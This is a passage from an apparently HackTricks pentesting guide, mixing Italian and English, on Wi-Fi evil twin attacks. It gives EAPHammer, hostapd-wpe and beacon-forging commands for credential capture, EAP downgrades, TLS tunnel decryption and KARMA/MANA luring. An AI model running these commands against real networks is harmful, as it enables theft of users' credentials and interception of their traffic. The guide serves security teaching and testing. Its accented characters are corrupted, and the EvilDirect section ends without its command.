Alcuni OS e AV avvertiranno lâutente che connettersi a una rete Open è pericolosoâŚ
WPA/WPA2 Evil Twin
Puoi creare un Evil Twin using WPA/2 e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, proveranno a connettersi. Comunque, to complete the 4-way-handshake devi anche conoscere la password che il client userĂ . Se non la conosci, la connessione non verrĂ completata.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Per comprendere questo attacco, consiglio di leggere prima la breve WPA Enterprise explanation.
Utilizzo di hostapd-wpe
hostapd-wpe ha bisogno di un file di configurazione per funzionare. Per automatizzare la generazione di queste configurazioni puoi usare https://github.com/WJDigby/apd_launchpad (scarica il file python allâinterno di /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Nel file di configurazione puoi selezionare molte impostazioni diverse come ssid, channel, user files, cret/key, dh parameters, wpa version e authâŚ
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Utilizzo di EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Di default, EAPHammer utilizza questi metodi di autenticazione (nota GTC come il primo da provare per ottenere password in chiaro e poi lâuso di metodi di auth piĂš robusti):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Questa è la metodologia predefinita per evitare lunghi tempi di connessione. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal piÚ debole al piÚ forte:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgradeto use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPto specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).- Find more info in the wiki
Using Airgeddon
Airgeddon can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password.Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).
.png)
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
This method was tested in an PEAP connection but as Iâm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
Allâinterno della configuration di hostapd-wpe commenta la riga che contiene dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
Questo farĂ sĂŹ che hostapd-wpe exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.
Ora avvia lâEvil Twin usando hostapd-wpe con quella configurazione modificata come al solito. Avvia anche wireshark sullâinterface che sta eseguendo lâEvil Twin attack.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Aggiungi una nuova voce e compila il form con questi valori: IP address = any â Port = 0 â Protocol = data â Key File (select your key file, to avoid problems select a key file without being password protected).
.png)
E guarda la nuova âDecrypted TLSâ tab:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
Blacklist/Whitelist per ESSID e MAC
Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):
- MAC-based Whitelist:
- Il rogue AP risponderĂ solo alle probe requests dai dispositivi specificati nella whitelist, rimanendo invisibile agli altri non elencati.
- MAC-based Blacklist:
- Il rogue AP ignorerĂ le probe requests dai dispositivi presenti nella blacklist, rendendo il rogue AP effettivamente invisibile a quei dispositivi.
- SSID-based Whitelist:
- Il rogue AP risponderĂ alle probe requests solo per specifici ESSIDs elencati, rendendolo invisibile ai dispositivi le cui Preferred Network Lists (PNLs) non contengono quegli ESSIDs.
- SSID-based Blacklist:
- Il rogue AP non risponderĂ alle probe requests per gli ESSIDs specifici presenti nella blacklist, rendendolo invisibile ai dispositivi che cercano quelle reti particolari.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Questo metodo permette a un attaccante di creare un access point malevolo (AP) che risponde a tutte le probe requests dai dispositivi che cercano di connettersi alle reti. Questa tecnica inganna i dispositivi inducendoli a connettersi allâAP dellâattaccante imitando le reti che i dispositivi stanno cercando. Quando un dispositivo invia una richiesta di connessione a questo rogue AP, completa la connessione, portando il dispositivo a connettersi per errore alla rete dellâattaccante.
MANA
Successivamente, i dispositivi cominciarono a ignorare risposte di rete non affidabili, riducendo lâefficacia dellâoriginal karma attack. Tuttavia, è stato introdotto un nuovo metodo, noto come la MANA attack, da Ian de Villiers e Dominic White. Questo metodo prevede che il rogue AP catturi le Preferred Network Lists (PNL) dai dispositivi rispondendo alle loro broadcast probe requests con nomi di rete (SSID) precedentemente usati dai dispositivi. Questo attacco sofisticato bypassa le protezioni contro lâoriginal karma attack sfruttando il modo in cui i dispositivi ricordano e danno prioritĂ alle reti conosciute.
The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the deviceâs MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the deviceâs list, enticing the device to connect to the rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Una Loud MANA attack è una strategia avanzata per i casi in cui i dispositivi non usano directed probing o quando le loro Preferred Network Lists (PNL) sono sconosciute allâattaccante. Si basa sul principio che i dispositivi nella stessa area probabilmente condividono alcuni nomi di rete nelle loro PNL. Invece di rispondere in modo selettivo, questo attacco trasmette probe responses per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la probabilitĂ che un dispositivo riconosca una rete familiare e tenti di connettersi al rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Quando il Loud MANA attack potrebbe non essere sufficiente, il Known Beacon attack offre un altro approccio. Questo metodo forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, scorrendo una lista di potenziali ESSIDs ricavata da una wordlist. Questo simula la presenza di numerose reti, sperando di trovare una corrispondenza con un ESSID nella PNL della vittima, inducendo un tentativo di connessione allâAP fabbricato. Lâattacco può essere amplificato combinandolo con lâopzione --loud per un tentativo piĂš aggressivo di attirare dispositivi.
Eaphammer ha implementato questo attacco come un MANA attack in cui tutti gli ESSIDs presenti in una lista vengono trasmessi (puoi anche combinare questo con --loud per creare un Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
La Known Beacon Burst attack consiste nella trasmissione a raffica di beacon frames per ogni ESSID elencato in un file. Questo crea un ambiente denso di reti fake, aumentando notevolmente la probabilitĂ che i dispositivi si connettano al rogue AP, specialmente se combinato con una MANA attack. Questa tecnica sfrutta velocitĂ e volume per sovraccaricare i meccanismi di selezione delle reti dei dispositivi.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct è un protocollo che permette ai dispositivi di collegarsi direttamente tra loro usando il WiâFi senza la necessitĂ di un tradizionale access point wireless. Questa funzionalità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta da dispositivo a dispositivo. Una caratteristica notevole di WiâFi Direct è che un dispositivo assume il ruolo di access point, noto come group owner, per gestire la connessione.
La sicurezza delle connessioni WiâFi Direct è stabilita tramite Wi-Fi Protected Setup (WPS), che supporta diversi metodi per lâaccoppiamento sicuro, tra cui:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Questi metodi, in particolare PIN entry, sono vulnerabili alle stesse debolezze di WPS nelle reti WiâFi tradizionali, rendendoli bersagli per vettori di attacco simili.
EvilDirect Hijacking
EvilDirect Hijacking è un attacco specifico per WiâFi Direct. Riprende il concetto dellâattacco Evil Twin ma prende di mira le connessioni WiâFi Direct. In questo scenario, un attaccante impersona un legittimo group owner con lâobiettivo di ingannare i dispositivi affinchĂŠ si connettano a unâentitĂ malevola. Questo metodo può essere eseguito usando strumenti come airbase-ng specificando il channel, ESSID e MAC address del dispositivo impersonato:
References
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 â EAP-SIM Authentication
- 3GPP TS 33.402 â 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
TODO: Dai unâocchiata a https://github.com/wifiphisher/wifiphisher (login con facebook e imitacionde WPA en captive portals)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

